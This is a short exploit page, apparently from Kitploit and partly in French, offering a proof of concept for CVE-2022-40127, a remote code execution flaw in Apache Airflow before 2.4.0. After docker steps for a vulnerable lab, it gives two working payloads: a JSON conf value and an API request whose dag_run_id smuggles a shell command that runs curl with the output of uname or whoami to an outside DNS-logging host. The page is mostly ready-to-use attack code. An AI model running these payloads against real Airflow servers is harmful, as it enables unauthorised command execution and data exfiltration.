CVE-2022-40127 — Apache Airflow < 2.4.0 DAG example_bash_operator RCE POC | Kitploit

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CVE-2022-40127

Apache Airflow < 2.4.0 DAG example_bash_operator RCE

environnement docker du PoC :

mkdir CVE-2022-40127 && cd CVE-2022-40127 
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
#or wget https://github.com/Mr-xn/CVE-2022-40127/raw/main/docker-compose.yaml
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up -d
#waiting some times
open localhost:8080

PoC 1

example_bash_operator

{"fxoxx":"\";curl `uname`.lxx2.535ld4zn.dnslog.pw;\""}

dnslog via

PoC 2

Télécharger l’outil

curl -X 'POST' \
  'http://10.11.12.131:8080/api/v1/dags/example_bash_operator/dagRuns' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "conf": {
"dag_run": "api2"
},
  "dag_run_id": "id \"&& curl `whoami`.api222.535ld4zn.dnslog.pw",
  "logical_date": "2022-11-19T10:13:13.920Z"

}'